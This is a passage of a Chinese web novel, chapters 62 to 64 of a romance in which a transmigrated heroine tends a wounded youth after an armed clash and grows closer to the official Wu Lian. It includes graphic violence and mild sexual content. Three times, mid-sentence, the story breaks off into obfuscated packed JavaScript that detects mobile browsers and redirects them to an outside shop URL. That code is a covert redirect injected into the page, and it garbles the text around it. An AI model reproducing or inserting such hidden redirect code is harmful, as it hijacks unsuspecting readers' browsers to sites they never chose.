过往,他曾嫉妒邬涟可以保护她,而他只能被她护在她的羽翼之下。 而今,他也想护住贵女,不管付出什么代价,痛也好,死也罢,任凭他这幅身躯被砍成烂肉,只要他还在贵女身前,就决不能让人有触碰到她分毫的机会。 安南王带来的府兵数量众多,几人砍杀了许久,几近力竭。 殷水玉身前堆了好几具尸体,他身上的伤早已不止肩膀那一处。 他那身杏白的衣衫染上血迹,看上去仿佛开在雪上的红梅。 安南王世子见这么久居然还没将人抓住,心下很是不耐,高声道,“都给本世子上!抓住他俩人者,赏白银五百两!” 重赏之下必有勇夫,原本有些人还畏惧眼前的人,这少年看起来孱弱,动起手来却几乎不要命,不防只攻,宛若一个杀人机器,但此刻金银在前,便也顾不得了。 顷刻间,便有十余人朝着殷水玉攻来,任凭他再如何勇猛,被这多人围攻,也无法反抗。 手脚皆被人紧紧箍住,殷水玉挣脱不得,只好朝身后道,“贵女!跑!快跑!” 叶冬知双目看着几乎成了血人的殷水玉,脑中一片空白,恐惧、愧疚、心疼交织在心头,使得她仿佛被钉在了原地,一步也动弹不得。 系统也不断在脑中警报着: 【警告警告!攻略目标重伤!若攻略目标死亡,宿主将即刻被抹杀!】 殷水玉见她愣在原地不动,心急如焚,不断道,“贵女!您快跑!我没事,真的,不骗您!” 明明自己已经被人压得趴在地上,血水拖了一地,他紧皱的眉头暗示他已痛到了极致,可他看她的目光依然眷恋,温柔如水。 安南王世子冷笑一声,“哟,两人还挺深情的。那个什么......叶冬知是吧,你要是敢跑一步,本世子现在就杀了他!” “贵女!不要管我!” 殷水玉话落,剑尖就已经抵住他的喉咙,锋利得只要稍稍用力,他便会命丧当场。 “别!别动他!我不跑!”叶冬知心跳到嗓子眼,血腥的场景,艰难的处境令她几欲站立不住,她稳了稳心神,继续说,“不要杀他。” 闻言,安南王世子得意地笑了,“不杀他可以,你们两个一起伺候本世子,若真是死了,两张这么漂亮的脸,本世子可舍不得。” 殷水玉目眦欲裂,不敢相信自己听到了什么,居然如此、如此侮辱贵女! 若是他自己便罢了,左右一条烂命,他要玩便玩,但怎么能对贵女有这般肮脏的想法。 思及此,他心口被怒气胀满,刹那间几个人差点压不住他。 可下一瞬,一道刀光闪过,两截断指“啪嗒”落在地上。 殷水玉愣住了,他刚够到刀柄的两根手指,被齐根斩断。 钻心的疼痛传来,他额头冒着冷汗,忍住了没有叫出一声。 叶冬知的视线落到他血淋淋的手掌,瞳孔骤缩,整个人僵住。 她下意识后退一步,但又猛地顿住,慌乱、无措、愧疚几近要淹没她。 她猛地冲上前推开将他压住的人,扯下自己的衣裳将他的手掌包起来,连声音都颤得厉害,“不会有事的,会没事的,府里有断骨续玉膏,能接回去的......是不是很疼......” 殷水玉勉强笑了笑,脸上的血水糊得他连这个笑容都有些模糊,“不疼,我不怕疼,贵女。” 难言的情绪压得她喘不过气,她手抖得厉害。 他什么都不知道,他全心全意对她,可她只是带着不为人知的目的才救下他,换做任务目标是别人,她也会做的。 说到底,她根本就不值得他如此。 他的情意太重了,重得她承受不起,此前她还没有如此清醒的认识,可现在,她意识到了,却只觉得重得让她窒息。 安南王世子冷眼瞧着,心中痛快不已,他正要张口让人将两人压回去,忽而听到一声沉闷的“噗通”声。 他艰难地扭着脖子看去,原是安南王被刺中胸口,从马上重重地摔了下来。 紧接着,面前一道身影闪过,他被人揪住衣领,从轿撵上如死猪一般拖了下来。 一把泛着银光的利剑登时横在他脖颈间。 他后知后觉地抬头去看,只看见一个肃冷的背影,那背影冷声对他父王说:“让你的人撤下,否则,我便割下他的头颅。” 上次被邬涟提着头往柱子上撞的剧痛还历历在目,安南王世子吓得脸色一白,□□暖流倾涌而出,一股浓重的尿骚味弥漫开来,“父王!救我!他是个疯子!他会杀了我!” 安南王捂着胸口从地上爬起来,看见自己的儿子正在邬涟剑下,刹那面色沉得厉害,但也只好服软,“别动他!” “安南王府的人,都即刻退下!” 随着这声命令,众人退回原来的位置。 邬涟拖着安南王世子一路往前,黄色的尿液与血混杂在一起,在空气中散发出难闻的味道。 安南王见对方丝毫没有放开儿子的意思,怒了,“本王已经让人退下,你还不松手,邬涟,你到底想怎样!?” 但他口中的人却没有理会他。 邬涟垂眸看叶冬知将殷水玉搂在怀里,用来止血的布料早已染红。 他对此毫无动容,反倒心间满是烦躁,“此前我便让你放手,你不肯,如今可算看清?” “你的存在只会给她带来祸患,你不仅护不住她,还会致她于险境,若今日没有你,她早该在长安几人的掩护之下逃走。” 殷水玉知道这番话是在点他,可也无法反驳,他说得句句在理。 是他有私心,舍不下贵女。 他意识有些许恍惚,贵女的怀抱如此温暖,若是此刻死了,他想,他应当也没有遗憾了。 至少,贵女仍旧安然无恙。 叶冬知不忍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531227|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只因她感觉到怀中的人越来越凉,生机仿佛在缓慢消逝。 她抚着少年的额发,愧疚难当地对邬涟道,“你别说了,他已经这样了。” 邬涟皱眉,但终究也没再继续刺他,只说,“我言尽于此,殷水玉,我给你时间考虑清楚。” 少年落寞地闭了眼,眼泪混着血水流进他的衣襟之中,无人发现。 “哒哒哒”一阵整齐划一的脚步声传来,躲在一旁的众人探出头向不远处看去。 乌泱泱的一群皇城司侍卫身着铠甲,手持长枪,朝侯府跑来,粗略算来,至少有千余人。 剩下的安南王府兵吓得顿时丢盔弃甲,他们只是王府的侍卫,论战力,压根不能与这群皇城精锐相比,真打起来,只有被杀的份。 邬涟手持皇城司令牌,高喝一声,“安南王私自调动王府府兵,意图谋害太子殿下与德宁公主,更有杀害朝廷命官之意。” “本官奉圣谕、持兵符,以谋反、擅发兵、大不敬三罪,即刻将安南王及安南王世子锁拿归案!” 安南王环视左右,他带来的府兵被皇城司围得水泄不通,终于有了几分慌张之意: “本王何时意图谋害太子与公主?黄口小儿,你信口开河,这只是本王与你之间的私事!” 邬涟不语,垂眸将视线落到脚边早已吓破胆的安南王世子身上,看见他身下的黄白之物,皱了皱眉,一脚将人踢到阶梯下,两名皇城司卫兵立刻上前,将其擒住。 见到此刻事情已经盖棺定论,太子周信从人群后走出,看向安南王的目光快意。 这异姓王周安成烈桀骜难寻,仗着军功,几次三番对他出言不逊,亦无被他拉拢之意,很早之前他便想寻个由头将人废了,可惜他缴械兵权之后,一直没犯什么大错,如今终于被他寻到机会。 “孤可以为邬大人作证,安南王在永定侯府此举,已然有谋反、刺杀孤之意,因此,邬大人此举并无不妥。” 安南王讽刺一笑,“呵,你周家都是狼心狗肺、过河拆桥之辈,本王有免死金牌,你又能奈本王何?” 语罢,他从怀中掏出金牌,高高举起,“此乃先皇赐予我安南王府之物,见此物如见天子!” 然,即便有免死金牌在手,皇城司众人还是无视他的言行,一张大网兜头罩下,安南王在其间挣扎不得,怒极,“邬涟,你好大的胆子,你还敢擒我!” 邬涟自台阶上缓缓而下,目光冰冷,淡声道,“无妨,虽不能杀你,但进了刑部大牢,自有千百种法子让你自尽。” 浩浩荡荡的皇城司压着安南王府众人离去,这场原本该欢声笑语的寿宴终于在宾客们的胆战心惊下收尾。 太子周信急着进宫向皇帝添油加醋,带着德宁走了。 众宾客也借故赶紧回府,一时间,偌大的侯府陷入冷清。 感受到怀中的气息越来越微弱,叶冬知抱着殷水玉的手止不住发抖,她颤声,“快!叫大夫!他快不行了!” 邬涟一眨不眨盯着面前的人,血顺着他的小臂滴落在地上,他似乎也没有察觉,只是眼底神色越发冷,仿若结了一层冰。 他抿唇,掏出一枚药丸,掰开殷水玉紧闭的唇喂了进去。 “这是什么?”她问。 “放心,他死不了,这是续命止血的。” 闻言,叶冬知才松了口气,余光瞥见他染血的小臂,一只手忽而攥住他,“你受伤了?” “伤在哪里?” 听到她急切的询问,他却高兴不起来,将手臂从她手中抽了回去,冷声,“我还以为你只当看不见。” 62. 第 62 章 “我......”知晓他是生气了,叶冬知却不知如何解释和安慰他。 此前她从未有这种感觉,而今却莫名觉得心口有点堵,说不出话来。 大夫来得很快,几人将殷水玉抬进了房,好在有邬涟那颗药丸,殷水玉虽伤得重,但并未危及性命。 只是手指,确实接不回去了。 大夫先看过殷水玉,再去看邬涟。从大夫的口中,叶冬知得知邬涟看似安然无恙,实则身上也受了几处伤,只是都较为隐蔽,一时间才让她没有察觉。 本来他是有十分把握可以擒住安南王的,可见到她被差点被人抓住,他一时心急,才顾不得自身,只想着速战速决。 她去寻邬涟时,屋内的人正好在包扎伤口。 血淋淋的伤口用酒淋了之后,敷上药,再缠上干净的纱布。 她光是看着都疼,但邬涟只是微微皱起了眉,除却那张脸比平日苍白些,便再看不出其他异样了。 他抬眸看见了她,但也未发一言。 叶冬知知道,他在怨她,明明他也伤得不轻,可她那时眼里却只有殷水玉。 她自己也有些愧疚,说到底,安南王一事还是由她引起。 邬涟为护她,几次伤了安南王世子,若是他没有今时今日的地位,只怕是早已身首异处。 思及此,她愧疚开口: “大夫说你的伤要多久才能好?” 他闻声,默了一瞬,言简意赅道,“少则一月,多则三月。” 她点头,下意识攥了攥手指,“若不是因我,你与阿玉都不必遭这番罪。” 本来邬涟还想着她勉强算有良心,还知道来看他,但一听她张口闭口又是“阿玉”“阿玉”,一股火顿时从心间窜起。 他用没有受伤的那只手忽然将她拉至跟前,咬牙,“不要在我面前提他!” 她愣住了,随即听得他继而道,“成事不足败事有余的人,值得你如此对他吗?你对他那副样子,但凡有几分落在我身上,你要什么没有?” 他一股脑说完,又觉得自己话似乎是说得有些重了,索性闭了嘴。 说来说去,怨她不肯对自己如此罢了。 他将头撇在一边,她看见他有些红的眼尾,心像被刺了一下,随即浮起点酸涩的胀痛。 “别生我气了,我那样对他,是有不得不做的原因。” 她伸手捧着他的脸,迫使他面对着自己。 对方沉黑的眼定定看着她,扯了下唇角,“与我说这些有何用。” 话落,她认真道,“但对你不是。” “我能感觉到我对你与对他是不一样的。” 邬涟原本还蹙眉,听到这句话眼睫猛然颤了一下,与她错开视线,“......谁知道你是不是又在撒谎。” 这句话已然不如方才的气势,连他自己都没察觉到语气软了许多。 叶冬知见状,叹了口气,莫名感到有些累。 她来自其他世界,是攻略者这件事,除却齐越白便再没告诉过任何人,连阿蔷也不知道。 但有些事憋久了,会让人很难受,譬如此刻,她不忍他为此不悦。 于是,她换了个说法解释道: “他身上有我必须要得到的东西,等我得到之后,我就——” “就什么?”他蓦地开口,近乎有些急促地问。 就离开。 她差点脱口而出,但触及到他的目光,她好像没有之前坚定的决心了。 是以,她只好说,“就为他寻一处安全之所,之后让他安心过日子吧。” “好。”他低声,不动声色地放开她的手腕,改为牵着她的手,与她十指相扣。 “你要从他身上得到什么,我可以想法子助你。” 叶冬知摇头,见他面色似是又要冷下去,赶紧道,“别人帮不了我,只能我自己去做,不过,应当要不了多久了。” 他静静听完,没再开口,直到发现她要挣脱他的手,他越发握紧了些,随后抬眼看她。 叶冬知无奈,“我要回去用膳了,我饿了。” 邬涟的视线落到外间,那里不知什么时候已经布好膳食,他起身,却依旧牵着她的手不放开,“那正好。” 她敛眸,未拆穿他的心思。落座后,她闷头吃饭,却见身侧人也不怎么动筷,多半时候都是在看着她。 被人一直盯着吃饭会很不适应,叶冬知也不例外,她咽下食物,不解,“你吃啊,老是看着我干什么?” “没什么。”他应了声,拿起筷子去将她夹过的菜一一尝了一遍。 邬涟向来口味清淡,是以当那些酸辣开胃的菜入口时,他皱了皱眉,顷刻间脸上就染上层薄红。 但他还是强撑着咽了下去,然后端起手边的茶杯喝了几口,薄红才褪去。 叶冬知在一旁看乐了,“你还在养伤呢,不能吃这些,等你伤好了,我给你做,我做的比这好吃。” “对了,我还没给别人做过呢,你算是有口福了,只不过这么久没做,也不知道会不会生疏。” 她一边絮絮叨叨,也不知是哪里取悦到了他,那张素来冷清的脸上,唇角微微扬起。 只是这样一个微弱的笑意,也让他脸上如昙花乍现,在刹那间无比动人。 吃到一半,叶冬知忽而想起一件事,“你不会还要把我软禁在你院里吧。” 他侧目,轻飘飘道,“你想的话,也可以。” 言下之意,就是他这次没打算再关着她了。叶冬知松了口气,然后发现自己的右手还被他牵着,有些无语: “你现在可以放开我了吧,我一直用左手吃饭很不方便。” 他“嗯”了一声,然后放开了她的右手,改为牵着她的左手,语气轻快,“现在你方便了。” 叶冬知,“......” 一顿饭吃完,她起身要走。 既然她可以回去,那还是自己的榻睡着更自在。 然而等她起身之时,身侧的人忽而眉峰一蹙,极克制地呼痛了声。 声音很轻,但屋内寂静,她还是听见了。 “怎么,伤口很疼吗?”她慌忙坐回来,担忧道,“是哪处疼?” 他静静凝视着她,苍白的脸看起来既破碎又有些许柔弱,语气压抑似在忍痛,“都疼。” “我去叫大夫来!”她刚说完便被他扯住衣角,她回头对上他沉而静的视线。 没有挽留、没有催促、亦没有明说,但为什么看起来可怜兮兮的啊! 也许是太少见邬涟这幅神情,他在她的印象中一惯是冷淡的、云淡风轻的,所以,她此刻不晓得是不是被美色所惑,她听见自己说,“那,那我在这里陪你?” 叶冬知大概觉得这是他的美男计,因为在她说完这句话以后,他很快便应道,“好。” 然后又自然无比将她的手牵住了。 等到夜里,直到她稀里糊涂又睡在了那张榻上时,她都还没反应过来。 邬涟依旧睡在外间,她翻来覆去睡不着,觉得良心不安。 她是不是有点过分,让一个伤患睡在那张又小又硬的榻上,如果他没休息好,是不是也会耽误养伤? 思及此,她下了榻,走至他的榻前,扭捏说,“你要不要到里面去睡?里面的榻更软。” “无妨,我习惯了。”他冷清的声音在昏暗中低低响起,其实语气很正常,但是叶冬知就是觉得他心里不是这样想的。 可她又不能强迫他,于是道,“我想睡外面这个,你去里面吧。” 闻言,他下了榻,站在她面前。 他只着了一身中衣,檀香混着他身上清冽的气息令她心口一跳,他微微俯下身,额头贴着她的额头,炽热的呼吸喷在她耳侧。 “我伤口疼,需得人陪着。” 音色比平日更低,微哑的嗓音带着振动传进她的耳中,震得她鼓膜发麻。 她只觉脸上忽然燥热起来,然后嘴巴也开始不受控制,“啊,这样啊,那我陪你睡。” 进了里间,邬涟躺在外侧,她躺在里侧,她的半个头缩在薄被里,鼻间全是他身上的气息。 她不敢动,觉得脑袋晕晕乎乎,半晌,她闷声问,“万一我晚上压到你伤口怎么办?” 他偏头,“若是压到了,在我伤好之前,你都得留在这里赎罪。” 她瘪嘴不予认同,“我睡觉很老实,不会压到你的。” “嗯。”他应了声,带着些倦意,似乎是因为白日太过劳累所致。 闻言,她也没再说话,老老实实躺平了睡去。 黑夜中,邬涟睁开了眼,听到身侧平稳均匀的呼吸声,胸口被一种前所未有的安心充斥着。 他微微支起身子,定睛瞧了会,见她弓起身子缩成小小一团,只觉心化成一滩。 然后屏住呼吸,用唇轻轻碰了碰她的。 * 很快,永定侯大败的消息在整个京都传开,当年邬镇庭抢功的秘密也成为了老百姓街头巷尾闲聊的话题。 更令人非议的是,永定侯贪图副将女儿的美貌,在其父母死后,欺骗其与自己有婚约,试图以这般腌臜手段得到她。 朝野哗然,各个大臣对此事态度可大致分为两派。 一派认为邬镇庭品行卑劣,虽过往有功,但此事暴露后,威望已大不如前,边疆战事吃紧,应当让皇帝赶紧派人将邬镇庭押解回京,重新选一良将镇守北疆。 一派认为其虽有过,但早年也功大于过,眼下这个节骨眼上换主将,容易军心不稳。 然,同年十月底,永定侯拥兵四十万,突然勾结北疆,举兵南下,意图谋反。 这个消息传遍街头巷尾时,叶冬知已经接连小半月没看见邬涟的身影了。 殷水玉的伤也好了许多,她隔三差五便会去看看,只不过殷水玉却不如从前一般,见到她时也会疏离一些。 唯有那双眼,盛满了眷恋和爱意,但又多了些胆怯和无力,连带着他如琉璃的面庞都失去了光彩,透着难以忽视的压抑和痛苦。 “贵女。” 他在两人无言的沉默下终究还是唤了一声。 “嗯,我在。”她应了声。 今早听大夫说他身上的刀伤已经拆了纱布,之后只需好生休养便是。 她垂眸将视线落到他的手上,想必他失了两根手指该十分不习惯,思及此,她想看看他那处的伤口恢复得如何。 她正要伸手将他的手从袖下牵出,却察觉到他瑟缩了一下,然后将手收回,紧紧藏在袖口深处,连带着眼神在此刻都不敢直视她。 “贵女,您回去吧,我在此处很好。” 少年语气落寞,自卑与自责几乎将他淹没。 都是他没用,才害得贵女险些陷入险境。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533785|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大公子说的没错,他只不过是她的拖累,她待他好上几分,他便有了逾越的心思。 他怎么配。 他真该死。若是那日就死了,他此刻也不会这般痛苦。 无力与愧疚将他深深拖着,他再不敢以卑贱之躯像从前那般恬不知耻地亵渎她。 叶冬知哑然,其实她能猜到,他心里在想什么。 按照殷水玉的性子,就算她说不怨他,也不怪他,只怕他自己会越发钻牛角尖。 想到这,她低低叹了口气,“那我先回去了,若有什么需要的,你便与满贵说,我过两日再来看你。” 邬镇庭谋反一事让府内人皆战战兢兢,永定侯府闭门谢客,老夫人自前些日晕厥过去之后便一病不起。 邬彦的亲事本来是今年年底办的,但由于这一遭,女方家赶紧上门退了婚事,害怕沾染这一身腥。 风雨欲来之前,总会有一片宁静的假象。 直到十一月初,叶冬知才再一次见到了邬涟。 他满身疲惫,眼下有着淡淡的青黑。她知道他这些日忙于奔走各处才保下了侯府,让府内其余人至今安然无恙,不然在邬镇庭谋反一事传出来时,侯府所有人都会被即刻下狱,等待发落。 她看着他将上身靠在椅子上,阖眼假寐,忽而问,“你意外你义父会做出谋反一事吗?” 他淡声,“不曾。义父功高盖主,即便就算他未做出抢功一事,也早晚会有别的由头落在他身上,眼下,不过是个正好的理由罢了。” “那你失望吗,又或者难过吗?我记得你十分爱戴他。” 闻言,他顿了顿,好半晌才回,“不重要了,谋反乃是大罪,凡是总有对错,错了便是错了,需得付出代价。” 她点头未再多问,想必他心里也不好受,他曾尽心竭力维护邬镇庭,到头来却发现他所崇敬的人也不过是个满身污点的罪人罢了。 想起前两日阿蔷提醒她的事,她说,“明日是父亲母亲的忌日,我得出城一趟。” “嗯。” 他应了声,又说,“我同你一起去。” 她意外扫了他一眼,也没拒绝,“好。” 晚间下了雨,次日起来时,空气中涤荡着一股萧条的寒意。 现下已是深秋,府内的梧桐都落了叶,黄色的叶子坠落在地上,枯败地堆叠在一起,无端有些许萧条之意。 叶应中夫妇二人的墓在城北,一处幽静之地。 当初,邬镇庭为了彰显自己的仁义,特命人在此为叶应中两人立下衣冠冢,还将此事大肆宣扬,城中百姓都盛赞他是重义之人,如今想来,真是可笑至极。 乘了马车出了城门,约摸两个时辰,便到了地方。 祭拜完过后,下起了小雨。 这雨不大,但落在身上,浸入衣襟,竟格外寒凉。 长安见状,连忙取了雨伞,递到邬涟手上。 桐油纸伞隔绝了寒凉,她仰头看去,面前的人垂眸看她,神色平静却有令人安心的魔力。 雨很快大起来,噼里啪啦砸在伞面,发出阵阵急促的响声。 衣冠冢立在山顶,但此处地势复杂,道路崎岖,马车只能停在山腰处,是以,二人还得走下去才能乘坐马车。 明明雨很大,打在树木枝叶上时,都将枝叶打得一颤,但她却没有被雨浸透半分。 她抬眸,才发现这把伞几乎尽数倾斜在她身上,将她完完全全笼罩住了。 而身侧的人,大半个身子都裸露在外,雨水早将他的衣衫浸湿。 知道这雨凉,他的伤势也未完全痊愈,叶冬知心中不忍,推了推他撑伞的手臂,“你挪过去点,我淋不到的。” “无妨,这么点雨不打紧。”他没动,执意将伞罩在他头上。 她又伸手推了推,但对方巍然不动,她只能作罢,“那我们走快点,到马车里就好了。” 没有伞可打的长安,早就淋成落汤鸡,看着眼前这郎情妾意的一幕,一点都笑不出来。 喂,怎么没有一个人关心他,他比公子还惨多了好吧。 早知道今日出门就多带几把伞了。 不过公子自从知道叶小姐与侯爷没有婚约之后,真是越发上赶着了,瞧瞧这不值钱的样。 快要山腰处时,发现他们的马车旁多了一辆马车。 那马车雅致内敛,廊下挂着一道牌子,写着一个字:裴。 叶冬知瞧见了,邬涟自然也瞧见了,忽而想到什么,他蹙眉刚要开口,就听见一道声音自身后传来: “叶小姐,邬大人!” 熟悉的声音落在耳中,叶冬知回头,看见果然是裴砚在唤她,而裴砚身旁站着一个秀美婉约的女子。 叶冬知许久未见到裴砚,一时间有些惊喜和意外,她道,“本以为此处偏僻,没想到裴公子也在此。” 裴砚见到她的时候,眼中欣喜不已,但余光瞥到身侧的女子,目光又黯了下去,对叶冬知说,“这位是崔莹月崔小姐,我这次是陪崔小姐来祭拜她的外祖。” 被唤作崔小姐的女子乃是标准的大家闺秀,是崔国公府的掌上明珠,闻言,对着叶冬知与邬涟莞尔一笑,算是打过招呼。 叶冬知一时见到熟人还有些兴奋,却见邬涟忽然将自己的手牵住,然后顺势将她往他怀中带了带,语气如这秋雨一般凉: “听说裴府与崔府最近有意议亲?” 63. 第 63 章 裴砚张口否认,“只是长辈的——” 没等他说完,崔莹月上前一步,笑道,“确有此事。” 邬涟目光落在两人身上打量一番,忽然露出一个清浅的笑意,“二位郎才女貌,般配不已,那邬某便提前恭祝二位大婚之喜。” 叶冬知看着他突如其来的笑意有些不解,本来还想张口与裴砚寒暄两句,问问他上次围猎带回去的兔子如何了,就被邬涟牵着手,硬生生拉上了马车。 她不悦,“你干嘛啊,我还有话没说完呢。” 他凉凉扫她一眼,“有什么可说的,他如今佳人在侧,与你的交情只怕早就不记得了。” 她瞪他一眼,不开口了。 这人真是净往人要害戳。 邬涟敛眸,坐在她身侧,车外长安驾着马车,徐徐行驶着。 他低头看见自己湿了大半的衣衫,见她的眼神也未落到他身上,盯在马车一处,不知在想些什么,他呼出口气,没忍住道: “看你的意思,还想着他?” “哪有,你自己少胡乱揣测。” 他气笑了,“那为何一见到他,你眼睛恨不得黏到他身上去。” 叶冬知转头与他四目相对,几息后,她说,“你从方才说话就夹枪带棒的,不会是吃醋了吧。” 他闭了嘴,不想承认。 长安听着里头的动静,只觉一股陈年老醋的味道扑面而来,混杂着冰凉的雨水,胡乱地拍在他面无表情的脸上。 见邬涟不说话,叶冬知知道自己说中了,她凑近了些,戳了戳他的脸,引得他将头侧过去了些。 “喂,你吃个什么醋,你现在连名分都没有,哪有立场吃醋?” 这句话让他心口更是一堵。 他冷声硬邦邦道,“是你不愿给。” 听见这句话,叶冬知乐了,方才那点郁闷也消散了。 以往攻略他时,他越慌乱、越害羞,她便越来劲,大概她骨子里就不是个好东西,总爱调戏良家妇男,譬如此刻,她也是。 “什么叫我不愿意给,难不成你喜欢我,也要强迫我喜欢你吗?” 她伸着脖子去看他的脸,见他怔了一瞬,凝眉抿唇,明显是又被她这句话气到了。 她脸上不怀好意的笑容更大了些,然后收回前倾的身子,靠在车壁上,悠悠道,“想要名分,自己挣啊,什么时候我满意了,就答应你。” 他“嗯”了声,算是同意,然后冷着脸将车内唯一的汤婆子塞到她手里。 “捂着,外面冷,免得受寒。” 做完这些,他才开始换下自己身上湿透的衣裳,等脱到中衣时,他忽而顿住了。 看出他的顾虑,她嬉笑一声,“还害羞吗?又不是没看过,而且还看过好多次了。对了,上次你喂我喝药的时候,自己还脱——唔唔——” “别说了。”他红着脸低斥一声,捂着她嘴的手,在触碰到她的唇瓣时,也微微颤了颤,“长安在呢。” 然而她却不想错过他这幅样子,将他的手拿开继续道,“那又怎么样,你和我之前在马车的时候,那么大动静,长安全都知道。” 等她说完,他脸上满是一副“你怎么这么不害臊”的表情,羞得眼尾都泛了红,索性离她远了些,一言不发换上干爽的衣裳。 雨又大了些,长安无语地驾着车,任由脸被冰冷的雨反复拍打。 调情吧,就当他不存在,反正他早就习惯了。 马车行驶到山脚,走上官道之时,却发现前方的路被堵住了。 这场突如其来的大雨,将山上堆积的石块与松散的泥土,一齐冲了下来,若要绕路回去,只怕至少得行整整一日。 更何况,现下雨愈发大了,若是继续行路也不安全。 察觉到马车停了,邬涟掀帘往外看去,片刻后道,“先寻个客栈住下,等明日应当就好了。” 长安应了声,一扬马鞭,驾着马车往回走,方才他记得,在路边有一家客栈。 行了片刻,马车在这家客栈停下。 此处来往行人不多,多是赶路的人在此将就一晚,是以客栈不大,也并不华丽精致。 叶冬知与邬涟下了马车,小二将马车拉到后院,顺便将马喂了。 进了客栈大堂,掌柜的抬眼一扫便知道两人非富即贵,当即热情地迎了上来。 “几位这是打尖儿还是住店?” 邬涟淡声,“来两间上房。” 掌柜扫了眼剩余空房,赔笑,“哎哟,那真是不巧了,现下只有一间上房,一间下房了,我瞧着您二位应当是一对儿吧,那刚好住这间上房!” 话落,邬涟没肯定也没否认,只侧目看叶冬知的反应。 她感觉脸上有些燥,低声,“我跟他不是一对,还是分开住吧,你与长安住上房,我去另一间。” 连她自己也觉得奇怪,明明两人最亲密的事已发生过了,但眼下她竟觉得有些不好意思。 她刚要抬步,被邬涟攥住手腕,长安在一旁看见了,立马说,“哎,公子,我这一身都湿透了,我就先回房了!” 语罢,长安一溜烟已经没了影子。 邬涟敛眸,唇畔微微勾起,“走吧。” 虽说是上房,但进屋之后也非常寻常,邬涟问小二另外要了两床被子,开始在地上打地铺。 熄灯后,她躺在榻上,借着窗外的余光能勉强看清榻边的人影。 她睡在榻上都觉得硌人,更别说他躺在地上了。叶冬知心中不忍,想叫他上榻来睡,又觉得这几个字说不出口。 而且,前些日子她一直对他甩脸子,如果她主动示好,不会显得她上赶着吧。 思来想去,她心一横,开口,“你还醒着吗?” 地上的人很快回应了她。 “嗯。” “今日雨这么大,你冷不冷?” “不冷。” “我冷。”她闭了闭眼,索性一股脑全说了,“这荒郊野外的,我睡不着,太冷了,你上来给我暖被窝。” “好。”他回了声,从地上起来。 见他坐在榻边,叶冬知往里面挪了挪,给他留出位置,又将被子分了一半给他,“进来吧。” 鼻间传来他身上的味道,一阵窸窣的声音过后,他在她身侧躺下。 客栈建在郊外,树影不时投射在薄薄的窗户上,映出扭曲的形状来。因着雨还没停,雨声夹杂着风声,在寂静空旷的野外显得有些可怕和奇异。 她不由得往他身边凑了凑。 邬涟察觉到她的靠近,但仍不动声色,似乎是在等着她再凑近一些。 老实说,其实叶冬知一个人睡也确实有点冷,眼下身边这么大一个人体暖炉,加上因为爱洁香香的,此前又体会过抱着他的感觉,是以,她将整个人蜷缩在被子里,慢慢地挪了过去。 她才挪到一半,忽然一只手揽住她的腰,将她整个人搂了过去。 檀香与清冽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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须臾,他掀开被子,准备下榻,“我还是睡地上。” 但她却拉住了他。 她低声,像是纠结许久才开口,“......别了,太硬了地上。” 这句话像是某种暗示,叫他体内那把火烧得更旺了些。 没有任何药物,没有迫不得已和身不由己,意识到这点,他的眼神在黑暗中越发幽暗,沉得仿佛能将人吸噬殆尽。 他顿了顿,凑近了些,缓缓俯下身,却被她抵住胸膛。 “你想到哪里去了,我的意思是说,可以用手......帮你......” 说到后面,她的声音越来越低,最后几个字落到他耳中已经听不清楚。 但他明白她的意思。 夜里,她看不清他脸上的潮红与红透的耳廓,只听得他餍足的声音,“嗯,辛苦了。” “下次我会尽量快些。” 不说还好,一说叶冬知恨不能捂住耳朵,红着脸大叫,“你闭嘴!不要说了!” 她不由得想,为何他可以一本正经地说出这么不要脸的话,这真的很羞耻好吗? 等他清理完时,她已经累得快要睁不开眼了。 他上了榻,从身后搂住她,轻轻在她耳边吻了吻,“睡吧。” 64. 第 64 章 次日一大早,雨停了,掉落的石块和泥土官府也已派人清理。 回府后,又有一段时间不见邬涟的身影。 永定侯邬镇庭举兵难下,朝廷紧急调防周边各郡的兵马,本以为这将是一场恶战,少则两月,多则一年半载。 但才打了不过半月,北疆内乱,新上位的单于突然改了主意,忽而翻脸,烧了邬镇庭的粮草,夜半打了他一个措手不及。 朝廷也自然十分意外,见此按兵不动,作壁上观邬镇庭与北疆单于狗咬狗,一月后,邬镇庭败北,在朝廷大军的追击下仓皇逃窜,不知去向。 这震惊朝野的谋反一事,这般快就落下了帷幕。 时下已至深冬,还有不久就快过年了。 所谓瑞雪兆丰年,府内已经铺了一层雪,院中的红梅在雪中开得刺目耀眼。 叶冬知揣着汤婆子在廊下站了会,阿蔷从房里拿了件披风为她系好,道: “小姐,先进屋吧,明个儿就是小年了,估计大公子明日应当会回来的。” 她默了默,“谁说我是在等他,只是这雪景好看,不由得多站了会。” 阿蔷看破不说破,只顺着她,“是,是奴婢多嘴了。” 小姐虽嘴上不说,但长了眼睛的人都能看出来,小姐待大公子不一样了。 以往大公子一走就是两三月她也从来不问,如今便是出去个三五日,她便忍不住向旁人打听。 雪日冷,叶冬知用过膳食,早早上了榻。 